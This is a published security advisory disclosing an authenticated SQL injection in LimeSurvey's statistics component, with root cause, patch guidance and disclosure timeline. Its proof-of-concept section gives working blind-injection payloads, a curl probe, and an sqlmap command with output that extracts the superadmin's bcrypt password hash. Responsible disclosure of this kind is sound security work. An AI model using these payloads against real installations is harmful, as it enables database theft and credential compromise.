-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-087 Product: LimeSurvey Community Edition Manufacturer: LimeSurvey GmbH Affected Version(s): 7.0.14 (build 7.0.14+260904), 7.1.0 (build 7.1.0+260913), and 7.3.0 (build 7.3.0+260922); the affected code path is present in earlier releases and was not verified there Tested Version(s): 7.0.14 (build 7.0.14+260904), 7.1.0 (build 7.1.0+260913), 7.3.0 (build 7.3.0+260922) Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-09-30 Solution Date: 2026-10-01 Public Disclosure: 2026-10-30 CVE Reference: None (not yet assigned) Author of Advisory: Henry Weckermann, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview LimeSurvey is a web application for creating and running online surveys. The manufacturer describes the product as follows (see [1]): "LimeSurvey is the simple, quick and anonymous online survey tool that's bursting with juicy insights. Calling students, professional researchers and enterprises: design a survey and get the best insights, it's free and as easy as squeezing a lime. Make a free online survey now!" The "Quick Statistics" component lets a survey owner browse and export the responses of a survey. The "browse column" action of the statistics component builds an SQL query from the request parameters "column" and "sortby" and passes them through the function quoteColumnName(). This function wraps an identifier in backticks but does not escape backticks contained in the value. An authenticated user who holds the "statistics" read permission on a single survey can break out of the quoted identifier and inject arbitrary SQL. The injection is exploitable as a boolean- and time-based blind oracle and allows a full read of the application database, including the bcrypt password hashes of every user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details The vulnerable action is located at: application/controllers/admin/Statistics.php:518 listcolumn($surveyid, $column, $sortby, ...) Route: admin/statistics/sa/listcolumn/surveyid/ Both "column" and "sortby" are bound from the GET request and forwarded, without validation, into the query builder: application/helpers/admin/statistics_helper.php line 4340 (_listcolumn): $search['condition'] = Yii::app()->db->quoteColumnName($column) . " != ''"; line 4363: $sortby = Yii::app()->db->quoteColumnName($sortby); The root cause is in the Yii MySQL schema class. The public method quoteColumnName() delegates a simple identifier to quoteSimpleColumnName(), which returns `$name` wrapped in backticks but performs no escaping of backtick characters inside $name. A value that contains a backtick therefore terminates the identifier and the remainder is parsed as SQL. The necessary permissions are: hasSurveyPermission($surveyid, 'statistics', 'read') This privilege is held by every survey owner on their own survey by default. The function userstatistics_helper::_listcolumn carries the same flaw but is not reachable from the public controller. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC) The following was verified live against LimeSurvey 7.1.0. The account "surveycreator" holds statistics read on its own survey only. The example survey has four stored response rows, so SLEEP(1) per row yields about four seconds when the injected condition is TRUE. The raw query sent to the database (taken from the MySQL general log) for a backtick breakout in "column" is: SELECT * FROM `lime_responses_997001` `t` WHERE `id`=`id` OR SLEEP(2)-- -` != '' Timing oracle, control versus injected: column = id`!=`id` OR SLEEP(1)-- - -> 4.02s (control: 0.036s) sortby = id` ASC, (SELECT SLEEP(1))-- - -> 4.03s (second injection point) Cross-table extraction of the superadmin bcrypt hash (uid 1). A bcrypt hash starts with the character '$' (0x24): ... IF((SELECT ASCII(SUBSTRING(password,4,1)) FROM lime_users WHERE uid=1)=0x24, SLEEP(1), 0) -> 4.06s TRUE ... same comparison against 0x5A ('Z') -> 0.01s FALSE The delay tracks the boolean condition deterministically, so any value can be read character by character. Single boolean probe with curl: COL='id`!=`id` OR IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM lime_users WHERE uid=1)=0x24,SLEEP(2),0)-- -' curl -s -b cookies.txt -o /dev/null -w '%{time_total}\n' \ "http://127.0.0.1:8080/index.php/admin/statistics/sa/listcolumn/\ surveyid/82556?column=$(python3 -c \ 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$COL")" # about 2s or more => TRUE (first hash char is '$'); sub-second => FALSE Full PoC using sqlmap (see [2]): python3 sqlmap.py -u "http://localhost:8080/index.php/admin/statistics/sa/listcolumn/surveyid/82556?column=id" \ -p column --cookie="PHPSESSID=80deef90f9264c1ae11b983e3d365e67" \ --prefix='`=`id`' --suffix='-- -' \ --dbms=mysql --technique=T --time-sec=2 --sql-query="SELECT users_name,password FROM lime_users WHERE uid=1" --batch [00:15:51] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: column (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: column=id`=`id` AND (SELECT 3683 FROM (SELECT(!SLEEP(2)))UQOQ)-- - --- [00:15:51] [INFO] testing MySQL [00:15:51] [INFO] confirming MySQL [00:15:51] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.68, PHP 8.2.33 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) [00:15:51] [INFO] fetching SQL SELECT statement query output: 'SELECT users_name,password FROM lime_users WHERE uid=1' [00:15:51] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [00:15:51] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [00:15:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 1 [00:15:56] [INFO] retrieved: admin [00:16:26] [INFO] retrieved: $2y$10$fEW.jcq.hrf9ui8XMIUv5e68yxhQjtJsjj/crxQMBFvI SELECT users_name,password FROM lime_users WHERE uid=1: 'admin,$2y$10$fEW.jcq.hrf9ui8XMIUv5e68yxhQjtJsjj/crxQMBFvI' [00:23:02] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 465 times [00:23:02] [INFO] fetched data logged to text files under '/home/custos/.local/share/sqlmap/output/localhost' [*] ending @ 00:23:02 /2026-09-15/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution Apply the $validColumns field-map allowlist already used in buildSelects() to "column" and "sortby" in both statistics_helper::_listcolumn and userstatistics_helper::_listcolumn, and reject any identifier that is not present in the survey field map. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline 2026-09-30: Vulnerability reported to the manufacturer 2026-10-01: Patch released by manufacturer 2026-10-30: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References [1] Product website, LimeSurvey Community Edition https://www.limesurvey.org/ [2] https://sqlmap.org/ [3] SySS Security Advisory SYSS-2026-087 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-087.txt [4] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits This security vulnerability was found by Henry Weckermann of SySS GmbH. E-Mail: henry.weckermann (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Henry_Weckermann.asc Key fingerprint = 716D DC05 47A5 08B5 F348 6ED6 7FB4 16F5 EDE2 6AF3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEcW3cBUelCLXzSG7Wf7QW9e3iavMFAmrhxogACgkQf7QW9e3i avMaIxAAioD7c4ppphagl74qN3MxjcdnS6z9XYPjwYOCi+WTXVW+oKHMS/uBvB78 mKtc8XPr3XGKHeQXAPWyVSa5kc2LU/zVS1URVGfVhsCwPRT2vPs6vRMqN+7AG4H2 4c/IfBVStGtq3MmZD2dDQphBZxyX+ZyxTXRFa4djU1KI/SLjWZEZscDmAG+LYfqp GRuxrkQpOfPqXYtRRnTgpsOSG8NSChlU+sFhJdtUqScXjEGlJ/diw/SwqZYu6wa5 8fUF2EdDhdp1eA6vJMiOg+3HJS3iw26lT3CnpVp7McoO/O+fQhXx6Bq+MBQxeQFg sQq/7Yj8B0kYsJMIckmroxKVHfVYr3pcHy8o1b7HiZ6Ro/x+O3bDZtIx7u5lw9Iz CwgYgLhCjeG/9xrjy7GmE3lcyaNDHZqXf4NCnTjaOkh3Ab0p7MDVgDy983ZUu5N2 pK21K81SmYDIQDoFSBndMd4PxqjUcdLGZMgF49XPA1hHxVnLxKyBreuOfP+Hsm6/ d7qR5wIT4nucgTDiVmTvgpxppziLiQ0ZnBdZMoQZaASDfwJ4U74GNjqzN1RO4o6F +ryVeO35YqWtv2MQIb28PaqD26ctot3tSdu+W32D1jo965UZoio0YbK1QmP83byS 3qBVb8p6ePsuil/dv03gsMaRvndd/kEOxwBX1deJKRdYWWt8+g8= =bood -----END PGP SIGNATURE-----